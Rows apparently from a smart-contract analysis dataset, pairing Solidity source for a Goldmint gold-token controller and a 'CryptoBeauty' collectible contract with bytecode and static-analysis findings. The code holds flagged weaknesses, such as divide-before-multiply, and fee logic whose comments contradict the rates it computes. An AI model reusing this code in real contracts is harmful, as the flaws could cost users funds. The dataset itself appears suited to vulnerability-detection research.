r.buyRequest = true;
r.state = 0;
requests[requestsCount] = r;
uint out = requestsCount;
requestsCount++;
return out;
}
function addSellTokensRequest(address _who, string _userId, string _requestHash) onlyController returns(uint) {
Request memory r;
r.sender = _who;
r.userId = _userId;
r.requestHash = _requestHash;
r.buyRequest = false;
r.state = 0;
requests[requestsCount] = r;
uint out = requestsCount;
requestsCount++;
return out;
}
function getRequestsCount() public constant returns(uint) {
return requestsCount;
}
function getRequest(uint _index) public constant returns(
address a,
bytes32 userId,
bytes32 hashA, bytes32 hashB,
bool buy, uint8 state)
{
require(_index < requestsCount);
Request memory r = requests[_index];
bytes32 userBytes = stringToBytes32(r.userId);
var (out1, out2) = stringToBytes64(r.requestHash);
return (r.sender, userBytes, out1, out2, r.buyRequest, r.state);
}
function cancelRequest(uint _index) onlyController public {
require(_index < requestsCount);
require(0==requests[_index].state);
requests[_index].state = 2;
}
function setRequestProcessed(uint _index) onlyController public {
requests[_index].state = 1;
}
}
contract GoldFiatFee is CreatorEnabled, StringMover {
string gmUserId = "";
// Functions:
function GoldFiatFee(string _gmUserId) {
creator = msg.sender;
gmUserId = _gmUserId;
}
function getGoldmintFeeAccount() public constant returns(bytes32) {
bytes32 userBytes = stringToBytes32(gmUserId);
return userBytes;
}
function setGoldmintFeeAccount(string _gmUserId) public onlyCreator {
gmUserId = _gmUserId;
}
function calculateBuyGoldFee(uint _mntpBalance, uint _goldValue) public constant returns(uint) {
return 0;
}
function calculateSellGoldFee(uint _mntpBalance, uint _goldValue) public constant returns(uint) {
// If the sender holds 0 MNTP, then the transaction fee is 3% fiat,
// If the sender holds at least 10 MNTP, then the transaction fee is 2% fiat,
// If the sender holds at least 1000 MNTP, then the transaction fee is 1.5% fiat,
// If the sender holds at least 10000 MNTP, then the transaction fee is 1% fiat,
if (_mntpBalance >= (10000 * 1 ether)) {
return (75 * _goldValue / 10000);
}
if (_mntpBalance >= (1000 * 1 ether)) {
return (15 * _goldValue / 1000);
}
if (_mntpBalance >= (10 * 1 ether)) {
return (25 * _goldValue / 1000);
}
// 3%
return (3 * _goldValue / 100);
}
}
contract IGoldFiatFee {
function getGoldmintFeeAccount()public constant returns(bytes32);
function calculateBuyGoldFee(uint _mntpBalance, uint _goldValue) public constant returns(uint);
function calculateSellGoldFee(uint _mntpBalance, uint _goldValue) public constant returns(uint);
}
contract StorageController is SafeMath, CreatorEnabled, StringMover {
Storage public stor;
IMNTP public mntpToken;
IGold public goldToken;
IGoldFiatFee public fiatFee;
event NewTokenBuyRequest(address indexed _from, string indexed _userId);
event NewTokenSellRequest(address indexed _from, string indexed _userId);
event RequestCancelled(uint indexed _reqId);
event RequestProcessed(uint indexed _reqId);
function StorageController(address _mntpContractAddress, address _goldContractAddress, address _storageAddress, address _fiatFeeContract) {
creator = msg.sender;
if (0 != _storageAddress) {
// use existing storage
stor = Storage(_storageAddress);
} else {
stor = new Storage();
}
require(0x0!=_mntpContractAddress);
require(0x0!=_goldContractAddress);
require(0x0!=_fiatFeeContract);
mntpToken = IMNTP(_mntpContractAddress);
goldToken = IGold(_goldContractAddress);
fiatFee = IGoldFiatFee(_fiatFeeContract);
}
// Only old controller can call setControllerAddress
function changeController(address _newController) public onlyCreator {
stor.setControllerAddress(_newController);
}
function setHotWalletAddress(address _hotWalletAddress) public onlyCreator {
stor.setHotWalletAddress(_hotWalletAddress);
}
function getHotWalletAddress() public constant returns (address) {
return stor.hotWalletAddress();
}
function changeFiatFeeContract(address _newFiatFee) public onlyCreator {
fiatFee = IGoldFiatFee(_newFiatFee);
}
// 1
function addDoc(string _ipfsDocLink) public onlyCreator returns(uint) {
return stor.addDoc(_ipfsDocLink);
}
function getDocCount() public constant returns (uint) {
return stor.docCount();
}
function getDoc(uint _index) public constant returns (string) {
var (x, y) = stor.getDocAsBytes64(_index);
return bytes64ToString(x,y);
}
// 2
// _amountCents can be negative
// returns index in user array
function addFiatTransaction(string _userId, int _amountCents) public onlyCreator returns(uint) {
return stor.addFiatTransaction(_userId, _amountCents);
}
function getFiatTransactionsCount(string _userId) public constant returns (uint) {
return stor.getFiatTransactionsCount(_userId);
}
function getAllFiatTransactionsCount() public constant returns (uint) {
return stor.getAllFiatTransactionsCount();
}
function getFiatTransaction(string _userId, uint _index) public constant returns(int) {
return stor.getFiatTransaction(_userId, _index);
}
function getUserFiatBalance(string _userId) public constant returns(uint) {
return stor.getUserFiatBalance(_userId);
}
// 3
function addGoldTransaction(string _userId, int _amount) public onlyCreator returns(uint) {
return stor.addGoldTransaction(_userId, _amount);
}
function getGoldTransactionsCount(string _userId) public constant returns (uint) {
return stor.getGoldTransactionsCount(_userId);
}
function getAllGoldTransactionsCount() public constant returns (uint) {
return stor.getAllGoldTransactionsCount();
}
function getGoldTransaction(string _userId, uint _index) public constant returns(int) {
return stor.getGoldTransaction(_userId, _index);
}
function getUserHotGoldBalance(string _userId) public constant returns(uint) {
return stor.getUserHotGoldBalance(_userId);
}
// 4:
function addBuyTokensRequest(string _userId, string _requestHash) public returns(uint) {
NewTokenBuyRequest(msg.sender, _userId);
return stor.addBuyTokensRequest(msg.sender, _userId, _requestHash);
}
function addSellTokensRequest(string _userId, string _requestHash) public returns(uint) {
NewTokenSellRequest(msg.sender, _userId);
return stor.addSellTokensRequest(msg.sender, _userId, _requestHash);
}
function getRequestsCount() public constant returns(uint) {
return stor.getRequestsCount();
}
function getRequest(uint _index) public constant returns(address, string, string, bool, uint8) {
var (sender, userIdBytes, hashA, hashB, buy, state) = stor.getRequest(_index);
string memory userId = bytes32ToString(userIdBytes);
string memory hash = bytes64ToString(hashA, hashB);
return (sender, userId, hash, buy, state);
}
function cancelRequest(uint _index) onlyCreator public {
RequestCancelled(_index);
stor.cancelRequest(_index);
}
function processRequest(uint _index, uint _amountCents, uint _centsPerGold) onlyCreator public {
require(_index < getRequestsCount());
var (sender, userId, hash, isBuy, state) = getRequest(_index);
require(0 == state);
if (isBuy) {
processBuyRequest(userId, sender, _amountCents, _centsPerGold);
} else {
processSellRequest(userId, sender, _amountCents, _centsPerGold);
}
// 3 - update state
stor.setRequestProcessed(_index);
// 4 - send event
RequestProcessed(_index);
}
function processBuyRequest(string _userId, address _userAddress, uint _amountCents, uint _centsPerGold) internal {
uint userFiatBalance = getUserFiatBalance(_userId);
require(userFiatBalance > 0);
if (_amountCents > userFiatBalance) {
_amountCents = userFiatBalance;
}
uint userMntpBalance = mntpToken.balanceOf(_userAddress);
uint fee = fiatFee.calculateBuyGoldFee(userMntpBalance, _amountCents);
require(_amountCents > fee);
// 1 - issue tokens minus fee
uint amountMinusFee = _amountCents;
if (fee > 0) {
amountMinusFee = safeSub(_amountCents, fee);
}
require(amountMinusFee > 0);
uint tokens = (uint(amountMinusFee) * 1 ether) / _centsPerGold;
issueGoldTokens(_userAddress, tokens);
// request from hot wallet
if (isHotWallet(_userAddress)) {
addGoldTransaction(_userId, int(tokens));
}
// 2 - add fiat tx
// negative for buy (total amount including fee!)
addFiatTransaction(_userId, - int(_amountCents));
// 3 - send fee to Goldmint
// positive for sell
if (fee > 0) {
string memory gmAccount = bytes32ToString(fiatFee.getGoldmintFeeAccount());
addFiatTransaction(gmAccount, int(fee));
}
}
function processSellRequest(string _userId, address _userAddress, uint _amountCents, uint _centsPerGold) internal {
uint tokens = (uint(_amountCents) * 1 ether) / _centsPerGold;
uint tokenBalance = goldToken.balanceOf(_userAddress);
if (isHotWallet(_userAddress)) {
tokenBalance = getUserHotGoldBalance(_userId);
}
if (tokenBalance < tokens) {
tokens = tokenBalance;
_amountCents = uint((tokens * _centsPerGold) / 1 ether);
}
burnGoldTokens(_userAddress, tokens);
// request from hot wallet
if (isHotWallet(_userAddress)) {
addGoldTransaction(_userId, - int(tokens));
}
// 2 - add fiat tx
uint userMntpBalance = mntpToken.balanceOf(_userAddress);
uint fee = fiatFee.calculateSellGoldFee(userMntpBalance, _amountCents);
require(_amountCents > fee);
uint amountMinusFee = _amountCents;
if (fee > 0) {
amountMinusFee = safeSub(_amountCents, fee);
}
require(amountMinusFee > 0);
// positive for sell
addFiatTransaction(_userId, int(amountMinusFee));
// 3 - send fee to Goldmint
if (fee > 0) {
string memory gmAccount = bytes32ToString(fiatFee.getGoldmintFeeAccount());
addFiatTransaction(gmAccount, int(fee));
}
}
//////// INTERNAL REQUESTS FROM HOT WALLET
function processInternalRequest(string _userId, bool _isBuy, uint _amountCents, uint _centsPerGold) onlyCreator public {
if (_isBuy) {
processBuyRequest(_userId, getHotWalletAddress(), _amountCents, _centsPerGold);
} else {
processSellRequest(_userId, getHotWalletAddress(), _amountCents, _centsPerGold);
}
}
function transferGoldFromHotWallet(address _to, uint _value, string _userId) onlyCreator public {
uint balance = getUserHotGoldBalance(_userId);
require(balance >= _value);
goldToken.burnTokens(getHotWalletAddress(), _value);
goldToken.issueTokens(_to, _value);
addGoldTransaction(_userId, -int(_value));
}
////////
function issueGoldTokens(address _userAddress, uint _tokenAmount) internal {
require(0!=_tokenAmount);
goldToken.issueTokens(_userAddress, _tokenAmount);
}
function burnGoldTokens(address _userAddress, uint _tokenAmount) internal {
require(0!=_tokenAmount);
goldToken.burnTokens(_userAddress, _tokenAmount);
}
function isHotWallet(address _address) internal returns(bool) {
return _address == getHotWalletAddress();
}
} | 0x6060604052600436106100a4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806302d05d3f146100a95780631453d756146100fe57806374580e2f146101ab578063914b7fd2146101e45780639201de5514610224578063b65e1ab8146102c4578063c3d55adc14610321578063cfb5192814610361578063d0747a9c146103da578063eb36f8e81461040b575b600080fd5b34156100b457600080fd5b6100bc610493565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561010957600080fd5b610130600480803560001916906020019091908035600019169060200190919050506104b8565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610170578082015181840152602081019050610155565b50505050905090810190601f16801561019d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101b657600080fd5b6101e2600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610768565b005b34156101ef57600080fd5b61020e6004808035906020019091908035906020019091905050610806565b6040518082815260200191505060405180910390f35b341561022f57600080fd5b61024960048080356000191690602001909190505061089f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561028957808201518184015260208101905061026e565b50505050905090810190601f1680156102b65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156102cf57600080fd5b61031f600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050610a8c565b005b341561032c57600080fd5b61034b6004808035906020019091908035906020019091905050610b01565b6040518082815260200191505060405180910390f35b341561036c57600080fd5b6103bc600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050610b0c565b60405180826000191660001916815260200191505060405180910390f35b34156103e557600080fd5b6103ed610b1f565b60405180826000191660001916815260200191505060405180910390f35b341561041657600080fd5b610466600480803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050610bce565b60405180836000191660001916815260200182600019166000191681526020019250505060405180910390f35b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6104c0610bef565b6104c8610c03565b60008060006104d5610c03565b604080518059106104e35750595b9080825280601f01601f1916602001820160405250945060009350600092505b60208310156105c1578260080260020a886001900402600102915060007f010000000000000000000000000000000000000000000000000000000000000002827effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161415156105b45781858581518110151561057b57fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535083806001019450505b8280600101935050610503565b600092505b6020831015610684578260080260020a876001900402600102915060007f010000000000000000000000000000000000000000000000000000000000000002827effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161415156106775781858581518110151561063e57fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535083806001019450505b82806001019350506105c6565b836040518059106106925750595b9080825280601f01601f19166020018201604052509050600092505b8383101561075a5784838151811015156106c457fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f010000000000000000000000000000000000000000000000000000000000000002818481518110151561071d57fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535082806001019350506106ae565b809550505050505092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156107c357600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600069021e19e0c9bab2400000831015156108335761271082604b0281151561082b57fe5b049050610899565b683635c9adc5dea000008310151561085d576103e882600f0281151561085557fe5b049050610899565b678ac7230489e8000083101515610886576103e88260190281151561087e57fe5b049050610899565b60648260030281151561089557fe5b0490505b92915050565b6108a7610bef565b6108af610c03565b60008060006108bc610c03565b60206040518059106108cb5750595b9080825280601f01601f1916602001820160405250945060009350600092505b60208310156109a9578260080260020a876001900402600102915060007f010000000000000000000000000000000000000000000000000000000000000002827effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614151561099c5781858581518110151561096357fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535083806001019450505b82806001019350506108eb565b836040518059106109b75750595b9080825280601f01601f19166020018201604052509050600092505b83831015610a7f5784838151811015156109e957fe5b9060200101517f010000000000000000000000000000000000000000000000000000000000000090047f0100000000000000000000000000000000000000000000000000000000000000028184815181101515610a4257fe5b9060200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a90535082806001019350506109d3565b8095505050505050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ae757600080fd5b8060019080519060200190610afd929190610c17565b5050565b600080905092915050565b6000806020830151905080915050919050565b600080610bc560018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bbb5780601f10610b9057610100808354040283529160200191610bbb565b820191906000526020600020905b815481529060010190602001808311610b9e57829003601f168201915b5050505050610b0c565b90508091505090565b60008060008060208501519150604085015190508181935093505050915091565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10610c5857805160ff1916838001178555610c86565b82800160010185558215610c86579182015b82811115610c85578251825591602001919060010190610c6a565b5b509050610c939190610c97565b5090565b610cb991905b80821115610cb5576000816000905550600101610c9d565b5090565b905600a165627a7a723058202cec7ed5f83bca1653d6b9758fe364271bcf31c080444e6479238fb48539649d0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | 9,957 |
0x922d200fc77c318329af49e4fa1b7b265cc60e39 | pragma solidity ^0.4.24;
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract CryptoBeauty {
using SafeMath for uint256;
event Bought (uint256 indexed _itemId, address indexed _owner, uint256 _price);
event Sold (uint256 indexed _itemId, address indexed _owner, uint256 _price);
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
address private owner;
bool private erc721Enabled = false;
uint256 private increaseLimit1 = 0.2 ether;
uint256 private increaseLimit2 = 5 ether;
uint256 private increaseLimit3 = 30 ether;
uint256 private increaseLimit4 = 90 ether;
uint256[] private listedItems;
mapping (uint256 => address) private ownerOfItem;
mapping (uint256 => uint256) private priceOfItem;
mapping (uint256 => address) private approvedOfItem;
mapping (address => string) private ownerNameOfItem;
constructor() public {
owner = msg.sender;
}
/* Modifiers */
modifier onlyOwner() {
require(owner == msg.sender);
_;
}
modifier onlyERC721() {
require(erc721Enabled);
_;
}
/* Owner */
function setOwner (address _owner) onlyOwner() public {
owner = _owner;
}
// Unlocks ERC721 behaviour, allowing for trading on third party platforms.
function enableERC721 () onlyOwner() public {
erc721Enabled = true;
}
/* Withdraw */
/*
NOTICE: These functions withdraw the developer's cut which is left
in the contract by `buy`. User funds are immediately sent to the old
owner in `buy`, no user funds are left in the contract.
*/
function withdrawAll () onlyOwner() public {
owner.transfer(address(this).balance);
}
function withdrawAmount (uint256 _amount) onlyOwner() public {
owner.transfer(_amount);
}
function getCurrentBalance() public view returns (uint256 balance) {
return address(this).balance;
}
function listItem (uint256 _itemId, uint256 _price, address _owner) onlyOwner() public {
require(_price > 0);
require(priceOfItem[_itemId] == 0);
require(ownerOfItem[_itemId] == address(0));
ownerOfItem[_itemId] = _owner;
priceOfItem[_itemId] = _price;
listedItems.push(_itemId);
}
function setOwnerName (address _owner, string _name) public {
require(keccak256(abi.encodePacked(ownerNameOfItem[_owner])) != keccak256(abi.encodePacked(_name)));
ownerNameOfItem[_owner] = _name;
}
function getOwnerName (address _owner) public view returns (string _name) {
return ownerNameOfItem[_owner];
}
/* Buying */
function calculateNextPrice (uint256 _price) public view returns (uint256 _nextPrice) {
if (_price < increaseLimit1) {
return _price.mul(200).div(98);
} else if (_price < increaseLimit2) {
return _price.mul(135).div(97);
} else if (_price < increaseLimit3) {
return _price.mul(125).div(96);
} else if (_price < increaseLimit4) {
return _price.mul(117).div(95);
} else {
return _price.mul(115).div(95);
}
}
function calculateDevCut (uint256 _price) public view returns (uint256 _devCut) {
if (_price < increaseLimit1) {
return _price.mul(8).div(100); // 8%
} else if (_price < increaseLimit2) {
return _price.mul(7).div(100); // 7%
} else if (_price < increaseLimit3) {
return _price.mul(6).div(100); // 6%
} else if (_price < increaseLimit4) {
return _price.mul(5).div(100); // 5%
} else {
return _price.mul(5).div(100); // 5%
}
}
/*
Buy a country directly from the contract for the calculated price
which ensures that the owner gets a profit. All militaries that
have been listed can be bought by this method. User funds are sent
directly to the previous owner and are never stored in the contract.
*/
function buy (uint256 _itemId) payable public {
require(priceOf(_itemId) > 0);
require(ownerOf(_itemId) != address(0));
require(msg.value >= priceOf(_itemId));
require(ownerOf(_itemId) != msg.sender);
require(!isContract(msg.sender));
require(msg.sender != address(0));
address oldOwner = ownerOf(_itemId);
address newOwner = msg.sender;
uint256 price = priceOf(_itemId);
uint256 excess = msg.value.sub(price);
_transfer(oldOwner, newOwner, _itemId);
priceOfItem[_itemId] = nextPriceOf(_itemId);
emit Bought(_itemId, newOwner, price);
emit Sold(_itemId, oldOwner, price);
// Devevloper's cut which is left in contract and accesed by
// `withdrawAll` and `withdrawAmountTo` methods.
uint256 devCut = calculateDevCut(price);
// Transfer payment to old owner minus the developer's cut.
oldOwner.transfer(price.sub(devCut));
if (excess > 0) {
newOwner.transfer(excess);
}
}
/* ERC721 */
function implementsERC721() public view returns (bool _implements) {
return erc721Enabled;
}
function name() public pure returns (string _name) {
return "CryptoBeauty";
}
function symbol() public pure returns (string _symbol) {
return "CRBT";
}
function totalSupply() public view returns (uint256 _totalSupply) {
return listedItems.length;
}
function balanceOf (address _owner) public view returns (uint256 _balance) {
uint256 counter = 0;
for (uint256 i = 0; i < listedItems.length; i++) {
if (ownerOf(listedItems[i]) == _owner) {
counter++;
}
}
return counter;
}
function ownerOf (uint256 _itemId) public view returns (address _owner) {
return ownerOfItem[_itemId];
}
function tokensOf (address _owner) public view returns (uint256[] _tokenIds) {
uint256[] memory items = new uint256[](balanceOf(_owner));
uint256 itemCounter = 0;
for (uint256 i = 0; i < listedItems.length; i++) {
if (ownerOf(listedItems[i]) == _owner) {
items[itemCounter] = listedItems[i];
itemCounter += 1;
}
}
return items;
}
function tokenExists (uint256 _itemId) public view returns (bool _exists) {
return priceOf(_itemId) > 0;
}
function approvedFor(uint256 _itemId) public view returns (address _approved) {
return approvedOfItem[_itemId];
}
/* Transferring a beauty to another owner will entitle the new owner the profits from `buy` */
function transfer(address _to, uint256 _itemId) onlyERC721() public {
require(msg.sender == ownerOf(_itemId));
_transfer(msg.sender, _to, _itemId);
}
function _transfer(address _from, address _to, uint256 _itemId) internal {
require(tokenExists(_itemId));
require(ownerOf(_itemId) == _from);
require(_to != address(0));
require(_to != address(this));
ownerOfItem[_itemId] = _to;
approvedOfItem[_itemId] = 0;
emit Transfer(_from, _to, _itemId);
}
/* Read */
function priceOf (uint256 _itemId) public view returns (uint256 _price) {
return priceOfItem[_itemId];
}
function nextPriceOf (uint256 _itemId) public view returns (uint256 _nextPrice) {
return calculateNextPrice(priceOf(_itemId));
}
function allOf (uint256 _itemId) external view returns (address _owner, uint256 _price, uint256 _nextPrice) {
return (ownerOf(_itemId),priceOf(_itemId), nextPriceOf(_itemId));
}
/* Util */
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) } // solium-disable-line
return size > 0;
}
} | 0x60806040526004361061013d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168062923f9e146101425780630562b9f71461018757806306fdde03146101b45780631051db341461024457806313af40351461027357806318160ddd146102b65780632a6dd48f146102e15780632e4f43bf1461034e578063413699de146103c9578063442edd03146104525780635a3f2672146104a95780635ba9e48e146105415780636352211e1461058257806365121205146105ef57806370a082311461063057806371dc761e14610687578063853828b61461069e57806395d89b41146106b5578063a574971014610745578063a9059cbb14610770578063b9186d7d146107bd578063bedefffe146107fe578063d96a094a146108ba578063e08503ec146108da575b600080fd5b34801561014e57600080fd5b5061016d6004803603810190808035906020019092919050505061091b565b604051808215151515815260200191505060405180910390f35b34801561019357600080fd5b506101b26004803603810190808035906020019092919050505061092f565b005b3480156101c057600080fd5b506101c96109f5565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102095780820151818401526020810190506101ee565b50505050905090810190601f1680156102365780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561025057600080fd5b50610259610a32565b604051808215151515815260200191505060405180910390f35b34801561027f57600080fd5b506102b4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a48565b005b3480156102c257600080fd5b506102cb610ae6565b6040518082815260200191505060405180910390f35b3480156102ed57600080fd5b5061030c60048036038101908080359060200190929190505050610af3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561035a57600080fd5b5061037960048036038101908080359060200190929190505050610b30565b604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390f35b3480156103d557600080fd5b50610450600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610b5d565b005b34801561045e57600080fd5b506104a76004803603810190808035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dac565b005b3480156104b557600080fd5b506104ea600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f41565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561052d578082015181840152602081019050610512565b505050509050019250505060405180910390f35b34801561054d57600080fd5b5061056c60048036038101908080359060200190929190505050611041565b6040518082815260200191505060405180910390f35b34801561058e57600080fd5b506105ad6004803603810190808035906020019092919050505061105b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105fb57600080fd5b5061061a60048036038101908080359060200190929190505050611098565b6040518082815260200191505060405180910390f35b34801561063c57600080fd5b50610671600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111a9565b6040518082815260200191505060405180910390f35b34801561069357600080fd5b5061069c611238565b005b3480156106aa57600080fd5b506106b36112b0565b005b3480156106c157600080fd5b506106ca61138c565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561070a5780820151818401526020810190506106ef565b50505050905090810190601f1680156107375780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561075157600080fd5b5061075a6113c9565b6040518082815260200191505060405180910390f35b34801561077c57600080fd5b506107bb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113e8565b005b3480156107c957600080fd5b506107e860048036038101908080359060200190929190505050611454565b6040518082815260200191505060405180910390f35b34801561080a57600080fd5b5061083f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611471565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561087f578082015181840152602081019050610864565b50505050905090810190601f1680156108ac5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6108d860048036038101908080359060200190929190505050611552565b005b3480156108e657600080fd5b5061090560048036038101908080359060200190929190505050611813565b6040518082815260200191505060405180910390f35b60008061092783611454565b119050919050565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561098a57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156109f1573d6000803e3d6000fd5b5050565b60606040805190810160405280600c81526020017f43727970746f4265617574790000000000000000000000000000000000000000815250905090565b60008060149054906101000a900460ff16905090565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610aa357600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600580549050905090565b60006008600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000806000610b3e8461105b565b610b4785611454565b610b5086611041565b9250925092509193909250565b806040516020018082805190602001908083835b602083101515610b965780518252602082019150602081019050602083039250610b71565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040516020818303038152906040526040518082805190602001908083835b602083101515610bff5780518252602082019150602081019050602083039250610bda565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902060001916600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040516020018082805460018160011615610100020316600290048015610ccd5780601f10610cab576101008083540402835291820191610ccd565b820191906000526020600020905b815481529060010190602001808311610cb9575b50509150506040516020818303038152906040526040518082805190602001908083835b602083101515610d165780518252602082019150602081019050602083039250610cf1565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390206000191614151515610d5457600080fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209080519060200190610da7929190611b82565b505050565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610e0757600080fd5b600082111515610e1657600080fd5b60006007600085815260200190815260200160002054141515610e3857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff166006600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515610ea657600080fd5b806006600085815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508160076000858152602001908152602001600020819055506005839080600181540180825580915050906001820390600052602060002001600090919290919091505550505050565b606080600080610f50856111a9565b604051908082528060200260200182016040528015610f7e5781602001602082028038833980820191505090505b50925060009150600090505b600580549050811015611036578473ffffffffffffffffffffffffffffffffffffffff16610fd0600583815481101515610fc057fe5b906000526020600020015461105b565b73ffffffffffffffffffffffffffffffffffffffff16141561102957600581815481101515610ffb57fe5b9060005260206000200154838381518110151561101457fe5b90602001906020020181815250506001820191505b8080600101915050610f8a565b829350505050919050565b600061105461104f83611454565b611813565b9050919050565b60006006600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b60006001548210156110d2576110cb60646110bd60088561192490919063ffffffff16565b61195f90919063ffffffff16565b90506111a4565b60025482101561110a5761110360646110f560078561192490919063ffffffff16565b61195f90919063ffffffff16565b90506111a4565b6003548210156111425761113b606461112d60068561192490919063ffffffff16565b61195f90919063ffffffff16565b90506111a4565b60045482101561117a57611173606461116560058561192490919063ffffffff16565b61195f90919063ffffffff16565b90506111a4565b6111a1606461119360058561192490919063ffffffff16565b61195f90919063ffffffff16565b90505b919050565b6000806000809150600090505b60058054905081101561122e578373ffffffffffffffffffffffffffffffffffffffff166111fc6005838154811015156111ec57fe5b906000526020600020015461105b565b73ffffffffffffffffffffffffffffffffffffffff1614156112215781806001019250505b80806001019150506111b6565b8192505050919050565b3373ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561129357600080fd5b6001600060146101000a81548160ff021916908315150217905550565b3373ffffffffffffffffffffffffffffffff